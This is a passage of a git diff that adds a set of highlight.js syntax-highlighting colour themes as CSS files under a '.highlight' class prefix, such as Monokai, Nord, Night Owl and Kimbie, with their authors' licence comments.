--- /dev/null
+++ b/css/highlight/isbl-editor-dark.css
@@ -0,0 +1,112 @@
+/*
+
+ISBL Editor style dark color scheme (c) Dmitriy Tarasov
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #404040;
+ color: #f0f0f0;
+}
+
+/* Base color: saturation 0; */
+
+.highlight,
+.highlight .subst {
+ color: #f0f0f0;
+}
+
+.highlight .comment {
+ color: #b5b5b5;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .attribute,
+.highlight .selector-tag,
+.highlight .meta-keyword,
+.highlight .doctag,
+.highlight .name {
+ color: #f0f0f0;
+ font-weight: bold;
+}
+
+
+/* User color: hue: 0 */
+
+.highlight .string {
+ color: #97bf0d;
+}
+
+.highlight .type,
+.highlight .number,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .quote,
+.highlight .template-tag,
+.highlight .deletion {
+ color: #f0f0f0;
+}
+
+.highlight .title,
+.highlight .section {
+ color: #df471e;
+}
+
+.highlight .title>.highlight .built_in {
+ color: #81bce9;
+ font-weight: normal;
+}
+
+.highlight .regexp,
+.highlight .symbol,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #e2c696;
+}
+
+/* Language color: hue: 90; */
+
+.highlight .built_in,
+.highlight .literal {
+ color: #97bf0d;
+ font-weight: bold;
+}
+
+.highlight .bullet,
+.highlight .code,
+.highlight .addition {
+ color: #397300;
+}
+
+.highlight .class {
+ color: #ce9d4d;
+ font-weight: bold;
+}
+
+/* Meta color: hue: 200 */
+
+.highlight .meta {
+ color: #1f7199;
+}
+
+.highlight .meta-string {
+ color: #4d99bf;
+}
+
+
+/* Misc effects */
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/isbl-editor-light.css b/css/highlight/isbl-editor-light.css
new file mode 100644
index 00000000..4d2ebb32
--- /dev/null
+++ b/css/highlight/isbl-editor-light.css
@@ -0,0 +1,111 @@
+/*
+
+ISBL Editor style light color schemec (c) Dmitriy Tarasov
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: white;
+ color: black;
+}
+
+/* Base color: saturation 0; */
+
+.highlight .subst {
+ color: black;
+}
+
+.highlight .comment {
+ color: #555555;
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .attribute,
+.highlight .selector-tag,
+.highlight .meta-keyword,
+.highlight .doctag,
+.highlight .name {
+ color: #000000;
+ font-weight: bold;
+}
+
+
+/* User color: hue: 0 */
+
+.highlight .string {
+ color: #000080;
+}
+
+.highlight .type,
+.highlight .number,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .quote,
+.highlight .template-tag,
+.highlight .deletion {
+ color: #000000;
+}
+
+.highlight .title,
+.highlight .section {
+ color: #fb2c00;
+}
+
+.highlight .title>.highlight .built_in {
+ color: #008080;
+ font-weight: normal;
+}
+
+.highlight .regexp,
+.highlight .symbol,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #5e1700;
+}
+
+/* Language color: hue: 90; */
+
+.highlight .built_in,
+.highlight .literal {
+ color: #000080;
+ font-weight: bold;
+}
+
+.highlight .bullet,
+.highlight .code,
+.highlight .addition {
+ color: #397300;
+}
+
+.highlight .class {
+ color: #6f1C00;
+ font-weight: bold;
+}
+
+/* Meta color: hue: 200 */
+
+.highlight .meta {
+ color: #1f7199;
+}
+
+.highlight .meta-string {
+ color: #4d99bf;
+}
+
+
+/* Misc effects */
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/kimbie.dark.css b/css/highlight/kimbie.dark.css
new file mode 100644
index 00000000..f995d781
--- /dev/null
+++ b/css/highlight/kimbie.dark.css
@@ -0,0 +1,74 @@
+/*
+ Name: Kimbie (dark)
+ Author: Jan T. Sott
+ License: Creative Commons Attribution-ShareAlike 4.0 Unported License
+ URL: https://github.com/idleberg/Kimbie-highlight.js
+*/
+
+/* Kimbie Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #d6baad;
+}
+
+/* Kimbie Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .meta {
+ color: #dc3958;
+}
+
+/* Kimbie Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .deletion,
+.highlight .link {
+ color: #f79a32;
+}
+
+/* Kimbie Yellow */
+.highlight .title,
+.highlight .section,
+.highlight .attribute {
+ color: #f06431;
+}
+
+/* Kimbie Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #889b4a;
+}
+
+/* Kimbie Purple */
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .function {
+ color: #98676a;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #221a0f;
+ color: #d3af86;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/kimbie.light.css b/css/highlight/kimbie.light.css
new file mode 100644
index 00000000..afcdfd6c
--- /dev/null
+++ b/css/highlight/kimbie.light.css
@@ -0,0 +1,74 @@
+/*
+ Name: Kimbie (light)
+ Author: Jan T. Sott
+ License: Creative Commons Attribution-ShareAlike 4.0 Unported License
+ URL: https://github.com/idleberg/Kimbie-highlight.js
+*/
+
+/* Kimbie Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #a57a4c;
+}
+
+/* Kimbie Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .meta {
+ color: #dc3958;
+}
+
+/* Kimbie Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .deletion,
+.highlight .link {
+ color: #f79a32;
+}
+
+/* Kimbie Yellow */
+.highlight .title,
+.highlight .section,
+.highlight .attribute {
+ color: #f06431;
+}
+
+/* Kimbie Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #889b4a;
+}
+
+/* Kimbie Purple */
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .function {
+ color: #98676a;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #fbebd4;
+ color: #84613d;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/lightfair.css b/css/highlight/lightfair.css
new file mode 100644
index 00000000..d3827561
--- /dev/null
+++ b/css/highlight/lightfair.css
@@ -0,0 +1,88 @@
+/*
+
+Lightfair style (c) Tristian Kelly
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ /* TODO: background? */
+}
+
+.highlight .name {
+ color:#01a3a3;
+}
+
+.highlight .tag,.highlight .meta {
+ color:#778899;
+}
+
+.highlight,
+.highlight .subst {
+ color: #444
+}
+
+.highlight .comment {
+ color: #888888
+}
+
+.highlight .keyword,
+.highlight .attribute,
+.highlight .selector-tag,
+.highlight .meta-keyword,
+.highlight .doctag,
+.highlight .name {
+ font-weight: bold
+}
+
+.highlight .type,
+.highlight .string,
+.highlight .number,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .quote,
+.highlight .template-tag,
+.highlight .deletion {
+ color: #4286f4
+}
+
+.highlight .title,
+.highlight .section {
+ color: #4286f4;
+ font-weight: bold
+}
+
+.highlight .regexp,
+.highlight .symbol,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #BC6060
+}
+
+.highlight .literal {
+ color: #62bcbc
+}
+
+.highlight .built_in,
+.highlight .bullet,
+.highlight .code,
+.highlight .addition {
+ color: #25c6c6
+}
+
+.highlight .meta-string {
+ color: #4d99bf
+}
+
+.highlight .emphasis {
+ font-style: italic
+}
+
+.highlight .strong {
+ font-weight: bold
+}
diff --git a/css/highlight/lioshi.css b/css/highlight/lioshi.css
new file mode 100644
index 00000000..c3eb64d3
--- /dev/null
+++ b/css/highlight/lioshi.css
@@ -0,0 +1,88 @@
+/* lioshi Theme */
+/* Original theme - https://github.com/lioshi/vscode-lioshi-theme */
+
+/* Comment */
+.highlight .comment {
+ color: #8d8d8d;
+}
+
+/* quote */
+.highlight .quote {
+ color: #b3c7d8;
+}
+
+/* Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #cc6666;
+}
+
+/* Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .subst
+.highlight .link {
+ color: #de935f;
+}
+
+/* Yellow */
+.highlight .attribute {
+ color: #f0c674;
+}
+
+/* Green */
+.highlight .string,
+.highlight .bullet,
+.highlight .params,
+.highlight .addition {
+ color: #b5bd68;
+}
+
+/* Blue */
+.highlight .title,
+.highlight .meta,
+.highlight .section {
+ color: #81a2be;
+}
+
+/* Purple */
+.highlight .selector-tag,
+.highlight .keyword,
+.highlight .function,
+.highlight .class {
+ color: #be94bb;
+}
+
+/* Purple light */
+.highlight .symbol {
+ color: #dbc4d9;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #303030;
+ color: #c5c8c6;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+
+
+
diff --git a/css/highlight/magula.css b/css/highlight/magula.css
new file mode 100644
index 00000000..cac8451d
--- /dev/null
+++ b/css/highlight/magula.css
@@ -0,0 +1,70 @@
+/*
+Description: Magula style for highligh.js
+Author: Ruslan Keba
+Website: http://rukeba.com/
+Version: 1.0
+Date: 2009-01-03
+Music: Aphex Twin / Xtal
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background-color: #f4f4f4;
+ color: black;
+}
+
+.highlight .subst {
+ color: black;
+}
+
+.highlight .string,
+.highlight .title,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .attribute,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable {
+ color: #050;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #777;
+}
+
+.highlight .number,
+.highlight .regexp,
+.highlight .literal,
+.highlight .type,
+.highlight .link {
+ color: #800;
+}
+
+.highlight .deletion,
+.highlight .meta {
+ color: #00e;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .doctag,
+.highlight .title,
+.highlight .section,
+.highlight .built_in,
+.highlight .tag,
+.highlight .name {
+ font-weight: bold;
+ color: navy;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/mono-blue.css b/css/highlight/mono-blue.css
new file mode 100644
index 00000000..2730f6b1
--- /dev/null
+++ b/css/highlight/mono-blue.css
@@ -0,0 +1,56 @@
+/*
+ Five-color theme from a single blue hue.
+*/
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #eaeef3;
+ color: #00193a;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .title,
+.highlight .section,
+.highlight .doctag,
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .comment {
+ color: #738191;
+}
+
+.highlight .string,
+.highlight .title,
+.highlight .section,
+.highlight .built_in,
+.highlight .literal,
+.highlight .type,
+.highlight .addition,
+.highlight .tag,
+.highlight .quote,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #0048ab;
+}
+
+.highlight .meta,
+.highlight .subst,
+.highlight .symbol,
+.highlight .regexp,
+.highlight .attribute,
+.highlight .deletion,
+.highlight .variable,
+.highlight .template-variable,
+.highlight .link,
+.highlight .bullet {
+ color: #4c81c9;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/monokai-sublime.css b/css/highlight/monokai-sublime.css
new file mode 100644
index 00000000..0a207d15
--- /dev/null
+++ b/css/highlight/monokai-sublime.css
@@ -0,0 +1,83 @@
+/*
+
+Monokai Sublime style. Derived from Monokai by noformnocontent http://nn.mit-license.org/
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #23241f;
+}
+
+.highlight,
+.highlight .tag,
+.highlight .subst {
+ color: #f8f8f2;
+}
+
+.highlight .strong,
+.highlight .emphasis {
+ color: #a8a8a2;
+}
+
+.highlight .bullet,
+.highlight .quote,
+.highlight .number,
+.highlight .regexp,
+.highlight .literal,
+.highlight .link {
+ color: #ae81ff;
+}
+
+.highlight .code,
+.highlight .title,
+.highlight .section,
+.highlight .selector-class {
+ color: #a6e22e;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .name,
+.highlight .attr {
+ color: #f92672;
+}
+
+.highlight .symbol,
+.highlight .attribute {
+ color: #66d9ef;
+}
+
+.highlight .params,
+.highlight .class .highlight .title {
+ color: #f8f8f2;
+}
+
+.highlight .string,
+.highlight .type,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .selector-id,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-variable {
+ color: #e6db74;
+}
+
+.highlight .comment,
+.highlight .deletion,
+.highlight .meta {
+ color: #75715e;
+}
diff --git a/css/highlight/monokai.css b/css/highlight/monokai.css
new file mode 100644
index 00000000..b38eabab
--- /dev/null
+++ b/css/highlight/monokai.css
@@ -0,0 +1,71 @@
+/*
+Monokai style - ported by Luigi Maselli - http://grigio.org
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #272822;
+ color: #ddd;
+}
+
+.highlight .tag,
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .strong,
+.highlight .name {
+ color: #f92672;
+}
+
+.highlight .code {
+ color: #66d9ef;
+}
+
+.highlight .class .highlight .title {
+ color: white;
+}
+
+.highlight .attribute,
+.highlight .symbol,
+.highlight .regexp,
+.highlight .link {
+ color: #bf79db;
+}
+
+.highlight .string,
+.highlight .bullet,
+.highlight .subst,
+.highlight .title,
+.highlight .section,
+.highlight .emphasis,
+.highlight .type,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable {
+ color: #a6e22e;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .deletion,
+.highlight .meta {
+ color: #75715e;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .doctag,
+.highlight .title,
+.highlight .section,
+.highlight .type,
+.highlight .selector-id {
+ font-weight: bold;
+}
diff --git a/css/highlight/night-owl.css b/css/highlight/night-owl.css
new file mode 100644
index 00000000..252832c1
--- /dev/null
+++ b/css/highlight/night-owl.css
@@ -0,0 +1,182 @@
+/*
+
+Night Owl for highlight.js (c) Carl Baxter
+
+An adaptation of Sarah Drasner's Night Owl VS Code Theme
+https://github.com/sdras/night-owl-vscode-theme
+
+Copyright (c) 2018 Sarah Drasner
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #011627;
+ color: #d6deeb;
+}
+
+/* General Purpose */
+.highlight .keyword {
+ color: #c792ea;
+ font-style: italic;
+}
+.highlight .built_in {
+ color: #addb67;
+ font-style: italic;
+}
+.highlight .type {
+ color: #82aaff;
+}
+.highlight .literal {
+ color: #ff5874;
+}
+.highlight .number {
+ color: #F78C6C;
+}
+.highlight .regexp {
+ color: #5ca7e4;
+}
+.highlight .string {
+ color: #ecc48d;
+}
+.highlight .subst {
+ color: #d3423e;
+}
+.highlight .symbol {
+ color: #82aaff;
+}
+.highlight .class {
+ color: #ffcb8b;
+}
+.highlight .function {
+ color: #82AAFF;
+}
+.highlight .title {
+ color: #DCDCAA;
+ font-style: italic;
+}
+.highlight .params {
+ color: #7fdbca;
+}
+
+/* Meta */
+.highlight .comment {
+ color: #637777;
+ font-style: italic;
+}
+.highlight .doctag {
+ color: #7fdbca;
+}
+.highlight .meta {
+ color: #82aaff;
+}
+.highlight .meta-keyword {
+ color: #82aaff;
+}
+.highlight .meta-string {
+ color: #ecc48d;
+}
+
+/* Tags, attributes, config */
+.highlight .section {
+ color: #82b1ff;
+}
+.highlight .tag,
+.highlight .name,
+.highlight .builtin-name {
+ color: #7fdbca;
+}
+.highlight .attr {
+ color: #7fdbca;
+}
+.highlight .attribute {
+ color: #80cbc4;
+}
+.highlight .variable {
+ color: #addb67;
+}
+
+/* Markup */
+.highlight .bullet {
+ color: #d9f5dd;
+}
+.highlight .code {
+ color: #80CBC4;
+}
+.highlight .emphasis {
+ color: #c792ea;
+ font-style: italic;
+}
+.highlight .strong {
+ color: #addb67;
+ font-weight: bold;
+}
+.highlight .formula {
+ color: #c792ea;
+}
+.highlight .link {
+ color: #ff869a;
+}
+.highlight .quote {
+ color: #697098;
+ font-style: italic;
+}
+
+/* CSS */
+.highlight .selector-tag {
+ color: #ff6363;
+}
+
+.highlight .selector-id {
+ color: #fad430;
+}
+
+.highlight .selector-class {
+ color: #addb67;
+ font-style: italic;
+}
+
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #c792ea;
+ font-style: italic;
+}
+
+/* Templates */
+.highlight .template-tag {
+ color: #c792ea;
+}
+.highlight .template-variable {
+ color: #addb67;
+}
+
+/* diff */
+.highlight .addition {
+ color: #addb67ff;
+ font-style: italic;
+}
+
+.highlight .deletion {
+ color: #EF535090;
+ font-style: italic;
+}
diff --git a/css/highlight/nnfx-dark.css b/css/highlight/nnfx-dark.css
new file mode 100644
index 00000000..cfae1e99
--- /dev/null
+++ b/css/highlight/nnfx-dark.css
@@ -0,0 +1,106 @@
+/**
+ * nnfx dark - a theme inspired by Netscape Navigator/Firefox
+ *
+ * @version 1.0.0
+ * @author (c) 2020 Jim Mason
+ * @license https://creativecommons.org/licenses/by-sa/4.0 CC BY-SA 4.0
+ */
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #333;
+ color: #fff;
+}
+
+.xml .highlight .meta {
+ font-weight: bold;
+ font-style: italic;
+ color: #69f;
+}
+
+.highlight .comment,
+.highlight .quote {
+ font-style: italic;
+ color: #9c6;
+}
+
+.highlight .name,
+.highlight .keyword {
+ color: #a7a;
+}
+
+.highlight .name,
+.highlight .attr {
+ font-weight: bold;
+}
+
+.highlight .string {
+ font-weight: normal;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #588;
+}
+
+.highlight .code,
+.highlight .string,
+.highlight .meta-string,
+.highlight .number,
+.highlight .regexp,
+.highlight .link {
+ color: #bce;
+}
+
+.highlight .title,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #d40;
+}
+
+.highlight .section,
+.highlight .meta {
+ color: #a85;
+}
+
+.highlight .class .highlight .title,
+.highlight .type {
+ color: #96c;
+}
+
+.highlight .function .highlight .title,
+.highlight .attr,
+.highlight .subst {
+ color: #fff;
+}
+
+.highlight .formula {
+ background-color: #eee;
+ font-style: italic;
+}
+
+.highlight .addition {
+ background-color: #797;
+}
+
+.highlight .deletion {
+ background-color: #c99;
+}
+
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #964;
+}
+
+.highlight .doctag,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/nnfx.css b/css/highlight/nnfx.css
new file mode 100644
index 00000000..9bd7fb24
--- /dev/null
+++ b/css/highlight/nnfx.css
@@ -0,0 +1,106 @@
+/**
+ * nnfx - a theme inspired by Netscape Navigator/Firefox
+ *
+ * @version 1.0.0
+ * @author (c) 2020 Jim Mason
+ * @license https://creativecommons.org/licenses/by-sa/4.0 CC BY-SA 4.0
+ */
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #fff;
+ color: #000;
+}
+
+.xml .highlight .meta {
+ font-weight: bold;
+ font-style: italic;
+ color: #48b;
+}
+
+.highlight .comment,
+.highlight .quote {
+ font-style: italic;
+ color: #070;
+}
+
+.highlight .name,
+.highlight .keyword {
+ color: #808;
+}
+
+.highlight .name,
+.highlight .attr {
+ font-weight: bold;
+}
+
+.highlight .string {
+ font-weight: normal;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #477;
+}
+
+.highlight .code,
+.highlight .string,
+.highlight .meta-string,
+.highlight .number,
+.highlight .regexp,
+.highlight .link {
+ color: #00f;
+}
+
+.highlight .title,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #f40;
+}
+
+.highlight .section,
+.highlight .meta {
+ color: #642;
+}
+
+.highlight .class .highlight .title,
+.highlight .type {
+ color: #639;
+}
+
+.highlight .function .highlight .title,
+.highlight .attr,
+.highlight .subst {
+ color: #000;
+}
+
+.highlight .formula {
+ background-color: #eee;
+ font-style: italic;
+}
+
+.highlight .addition {
+ background-color: #beb;
+}
+
+.highlight .deletion {
+ background-color: #fbb;
+}
+
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #964;
+}
+
+.highlight .doctag,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/nord.css b/css/highlight/nord.css
new file mode 100644
index 00000000..58adcbee
--- /dev/null
+++ b/css/highlight/nord.css
@@ -0,0 +1,309 @@
+/*
+ * Copyright (c) 2017-present Arctic Ice Studio
+ * Copyright (c) 2017-present Sven Greb
+ *
+ * Project: Nord highlight.js
+ * Version: 0.1.0
+ * Repository: https://github.com/arcticicestudio/nord-highlightjs
+ * License: MIT
+ * References:
+ * https://github.com/arcticicestudio/nord
+ */
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #2E3440;
+}
+
+.highlight,
+.highlight .subst {
+ color: #D8DEE9;
+}
+
+.highlight .selector-tag {
+ color: #81A1C1;
+}
+
+.highlight .selector-id {
+ color: #8FBCBB;
+ font-weight: bold;
+}
+
+.highlight .selector-class {
+ color: #8FBCBB;
+}
+
+.highlight .selector-attr {
+ color: #8FBCBB;
+}
+
+.highlight .selector-pseudo {
+ color: #88C0D0;
+}
+
+.highlight .addition {
+ background-color: rgba(163, 190, 140, 0.5);
+}
+
+.highlight .deletion {
+ background-color: rgba(191, 97, 106, 0.5);
+}
+
+.highlight .built_in,
+.highlight .type {
+ color: #8FBCBB;
+}
+
+.highlight .class {
+ color: #8FBCBB;
+}
+
+.highlight .function {
+ color: #88C0D0;
+}
+
+.highlight .function > .highlight .title {
+ color: #88C0D0;
+}
+
+.highlight .keyword,
+.highlight .literal,
+.highlight .symbol {
+ color: #81A1C1;
+}
+
+.highlight .number {
+ color: #B48EAD;
+}
+
+.highlight .regexp {
+ color: #EBCB8B;
+}
+
+.highlight .string {
+ color: #A3BE8C;
+}
+
+.highlight .title {
+ color: #8FBCBB;
+}
+
+.highlight .params {
+ color: #D8DEE9;
+}
+
+.highlight .bullet {
+ color: #81A1C1;
+}
+
+.highlight .code {
+ color: #8FBCBB;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .formula {
+ color: #8FBCBB;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .link:hover {
+ text-decoration: underline;
+}
+
+.highlight .quote {
+ color: #4C566A;
+}
+
+.highlight .comment {
+ color: #4C566A;
+}
+
+.highlight .doctag {
+ color: #8FBCBB;
+}
+
+.highlight .meta,
+.highlight .meta-keyword {
+ color: #5E81AC;
+}
+
+.highlight .meta-string {
+ color: #A3BE8C;
+}
+
+.highlight .attr {
+ color: #8FBCBB;
+}
+
+.highlight .attribute {
+ color: #D8DEE9;
+}
+
+.highlight .builtin-name {
+ color: #81A1C1;
+}
+
+.highlight .name {
+ color: #81A1C1;
+}
+
+.highlight .section {
+ color: #88C0D0;
+}
+
+.highlight .tag {
+ color: #81A1C1;
+}
+
+.highlight .variable {
+ color: #D8DEE9;
+}
+
+.highlight .template-variable {
+ color: #D8DEE9;
+}
+
+.highlight .template-tag {
+ color: #5E81AC;
+}
+
+.abnf .highlight .attribute {
+ color: #88C0D0;
+}
+
+.abnf .highlight .symbol {
+ color: #EBCB8B;
+}
+
+.apache .highlight .attribute {
+ color: #88C0D0;
+}
+
+.apache .highlight .section {
+ color: #81A1C1;
+}
+
+.arduino .highlight .built_in {
+ color: #88C0D0;
+}
+
+.aspectj .highlight .meta {
+ color: #D08770;
+}
+
+.aspectj > .highlight .title {
+ color: #88C0D0;
+}
+
+.bnf .highlight .attribute {
+ color: #8FBCBB;
+}
+
+.clojure .highlight .name {
+ color: #88C0D0;
+}
+
+.clojure .highlight .symbol {
+ color: #EBCB8B;
+}
+
+.coq .highlight .built_in {
+ color: #88C0D0;
+}
+
+.cpp .highlight .meta-string {
+ color: #8FBCBB;
+}
+
+.css .highlight .built_in {
+ color: #88C0D0;
+}
+
+.css .highlight .keyword {
+ color: #D08770;
+}
+
+.diff .highlight .meta {
+ color: #8FBCBB;
+}
+
+.ebnf .highlight .attribute {
+ color: #8FBCBB;
+}
+
+.glsl .highlight .built_in {
+ color: #88C0D0;
+}
+
+.groovy .highlight .meta:not(:first-child) {
+ color: #D08770;
+}
+
+.haxe .highlight .meta {
+ color: #D08770;
+}
+
+.java .highlight .meta {
+ color: #D08770;
+}
+
+.ldif .highlight .attribute {
+ color: #8FBCBB;
+}
+
+.lisp .highlight .name {
+ color: #88C0D0;
+}
+
+.lua .highlight .built_in {
+ color: #88C0D0;
+}
+
+.moonscript .highlight .built_in {
+ color: #88C0D0;
+}
+
+.nginx .highlight .attribute {
+ color: #88C0D0;
+}
+
+.nginx .highlight .section {
+ color: #5E81AC;
+}
+
+.pf .highlight .built_in {
+ color: #88C0D0;
+}
+
+.processing .highlight .built_in {
+ color: #88C0D0;
+}
+
+.scss .highlight .keyword {
+ color: #81A1C1;
+}
+
+.stylus .highlight .keyword {
+ color: #81A1C1;
+}
+
+.swift .highlight .meta {
+ color: #D08770;
+}
+
+.vim .highlight .built_in {
+ color: #88C0D0;
+ font-style: italic;
+}
+
+.yaml .highlight .meta {
+ color: #D08770;
+}
diff --git a/css/highlight/obsidian.css b/css/highlight/obsidian.css
new file mode 100644
index 00000000..38c67497
--- /dev/null
+++ b/css/highlight/obsidian.css
@@ -0,0 +1,88 @@
+/**
+ * Obsidian style
+ * ported by Alexander Marenin (http://github.com/ioncreature)
+ */
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #282b2e;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .selector-id {
+ color: #93c763;
+}
+
+.highlight .number {
+ color: #ffcd22;
+}
+
+.highlight {
+ color: #e0e2e4;
+}
+
+.highlight .attribute {
+ color: #668bb0;
+}
+
+.highlight .code,
+.highlight .class .highlight .title,
+.highlight .section {
+ color: white;
+}
+
+.highlight .regexp,
+.highlight .link {
+ color: #d39745;
+}
+
+.highlight .meta {
+ color: #557182;
+}
+
+.highlight .tag,
+.highlight .name,
+.highlight .bullet,
+.highlight .subst,
+.highlight .emphasis,
+.highlight .type,
+.highlight .built_in,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .addition,
+.highlight .variable,
+.highlight .template-tag,
+.highlight .template-variable {
+ color: #8cbbad;
+}
+
+.highlight .string,
+.highlight .symbol {
+ color: #ec7600;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .deletion {
+ color: #818e96;
+}
+
+.highlight .selector-class {
+ color: #A082BD
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .doctag,
+.highlight .title,
+.highlight .section,
+.highlight .type,
+.highlight .name,
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/ocean.css b/css/highlight/ocean.css
new file mode 100644
index 00000000..8a904c0c
--- /dev/null
